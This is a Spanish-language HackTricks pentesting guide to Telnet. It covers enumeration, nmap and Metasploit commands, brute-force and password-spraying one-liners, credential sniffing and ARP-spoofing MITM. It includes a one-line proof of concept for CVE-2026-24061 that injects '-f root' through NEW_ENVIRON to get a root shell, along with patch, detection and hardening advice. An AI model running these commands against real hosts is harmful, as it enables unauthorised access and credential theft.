23 - Pentesting Telnet
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Telnet es un protocolo de red que proporciona a los usuarios una forma no segura de acceder a un equipo a través de una red.
Puerto por defecto: 23
23/tcp open telnet
Enumeration
Banner Grabbing
nc -vn <IP> 23
Toda la enumeración interesante se puede realizar con nmap:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
El script telnet-ntlm-info.nse obtendrá información NTLM (versiones de Windows).
From the telnet RFC: En el protocolo TELNET hay varias “opciones” que serán sancionadas y pueden usarse con la estructura “DO, DON’T, WILL, WON’T” para permitir que un usuario y un servidor acuerden usar un conjunto más elaborado (o quizá simplemente diferente) de convenciones para su conexión TELNET. Tales opciones podrían incluir cambiar el conjunto de caracteres, el modo de eco, etc.
Sé que es posible enumerar estas opciones pero no sé cómo, así que avísame si sabes cómo.
Enumerar opciones / características de Telnet
Telnet usa negociaciones IAC + DO/DONT/WILL/WONT para habilitar opciones. Puedes observar las opciones soportadas capturando la negociación inicial y probando características específicas.
Nmap pruebas de opciones/funciones
# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>
# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>
# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>
El script telnet-encryption comprueba si la opción ENCRYPT está soportada; algunas implementaciones históricamente manejaron esta opción de forma incorrecta y fueron vulnerables, pero el script solo comprueba el soporte.
El script telnet-ntlm-info revela metadatos NTLM (NetBIOS/DNS/OS build) cuando Microsoft Telnet NTLM está habilitado.
telnet-brute es un auditor NSE brute-force para Telnet.
Brute force
Archivo de configuración
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
HackTricks Comandos Automáticos
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
Vulnerabilidades recientes (2022-2026)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): La validación de entrada inadecuada en el servicio telnet permite a atacantes remotos iniciar sesión usando hard-coded credentials e inyectar comandos del SO; corregido en el firmware 1.04B05 o posterior.
- CVE-2023-40478 – NETGEAR RAX30: Stack-based buffer overflow en la Telnet CLI
passwdcommand permite network-adjacent code execution como root; se requiere autenticación pero puede ser bypassed. - CVE-2022-39028 – GNU inetutils telnetd: Una secuencia de dos bytes (
0xff 0xf7/0xff 0xf8) puede desencadenar una NULL-pointer dereference entelnetd, y los fallos repetidos pueden llevar a inetd a deshabilitar el servicio (DoS).
Tenga en cuenta estos CVEs durante la triage de vulnerabilidades — si el objetivo ejecuta un firmware sin parchear o un daemon Telnet legacy de inetutils, puede tener un camino directo hacia code-execution o un DoS disruptivo.
CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)
Primitive: Telnet NEW_ENVIRON permite a los clientes enviar variables de entorno durante la negociación de opciones; inetutils telnetd sustituye %U en su plantilla de login por getenv("USER") y lo pasa directamente a /usr/bin/login, habilitando argv-level option injection (no shell expansion).
Root cause: las versiones 1.9.3–2.7 expanden %U sin filtrado, por lo que un valor USER que comience con - es interpretado como un flag de login. Por ejemplo, %U se convierte en -f root, dando lugar a /usr/bin/login -h <hostname> "-f root" y omitiendo la autenticación vía login -f.
Exploit flow:
- Conectarse al servicio Telnet y negociar NEW_ENVIRON para establecer
USER=-f root. telnetdconstruye los argv de login incluyendo el valor%Ucontrolado por el atacante./usr/bin/logininterpreta-f rootcomo “pre-authenticated user root” y lanza un shell como root.
PoC
# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>
Nota de parche: inetutils 2.7-2 introduce la función sanitize() que rechaza valores que comienzan con - o que contienen espacios/caracteres meta antes de sustituirlos en el login argv, bloqueando option injection.
Detección/verificación: identifica demonios expuestos con telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd, o netstat -tlnp | grep :23.
Mitigaciones
- Aplicar parches/actualizar paquetes afectados inmediatamente (p. ej., las correcciones de Debian están en
2:2.4-2+deb12u2,2:2.6-3+deb13u1, y2:2.7-2). - Deshabilitar Telnet o restringir el acceso a redes de gestión confiables mientras se parchea.
Sniffing Credentials & Man-in-the-Middle
Telnet transmite todo, incluyendo credentials, en clear-text. Dos formas rápidas de capturarlas:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
Para un MITM activo, combina ARP spoofing (p. ej. arpspoof/ettercap) con los mismos filtros de sniffing para capturar contraseñas en redes conmutadas.
Automated Brute-force / Password Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
La mayoría de los botnets IoT (variantes de Mirai) aún escanean el puerto 23 con diccionarios pequeños de credenciales por defecto—replicar esa lógica puede identificar rápidamente dispositivos débiles.
Explotación y post-explotación
Metasploit tiene varios módulos útiles:
auxiliary/scanner/telnet/telnet_version– enumeración de banner y opciones.auxiliary/scanner/telnet/brute_telnet– brute force multihilo.auxiliary/scanner/telnet/telnet_encrypt_overflow– RCE contra Telnet vulnerable en Solaris 9/10 (manejo de la opción ENCRYPT).exploit/linux/mips/netgear_telnetenable– habilita el servicio telnet con un paquete manipulado en muchos routers NETGEAR.
Después de obtener una shell recuerda que los TTYs suelen ser limitados; mejóralo con python -c 'import pty;pty.spawn("/bin/bash")' o usa los HackTricks TTY tricks.
Endurecimiento y Detección (Blue team corner)
- Prefiere SSH y desactiva el servicio Telnet por completo.
- Si Telnet es necesario, vincúlalo solo a las VLANs de gestión, aplica ACLs y envuelve el daemon con TCP wrappers (
/etc/hosts.allow). - Reemplaza implementaciones legacy de
telnetdconssl-telnetotelnetd-sslpara añadir cifrado de transporte, pero esto solo protege los datos en tránsito—el adivinamiento de contraseñas sigue siendo trivial. - Monitorea el tráfico saliente hacia el puerto 23; las compromisiones a menudo generan reverse shells sobre Telnet para eludir filtros de salida HTTP estrictos.
References
- OffSec – CVE-2026-24061 – GNU InetUtils telnetd Authentication Bypass Vulnerability
- Inetutils sanitize() fix (ccba9f748aa8d50a38d7748e2e60362edd6a32cc)
- NVD – CVE-2026-24061
- Debian Security Tracker – CVE-2026-24061
- Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061)
- NVD – CVE-2022-39028 inetutils
telnetdDoS - NVD – CVE-2024-45698 D-Link DIR-X4860 Telnet RCE
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


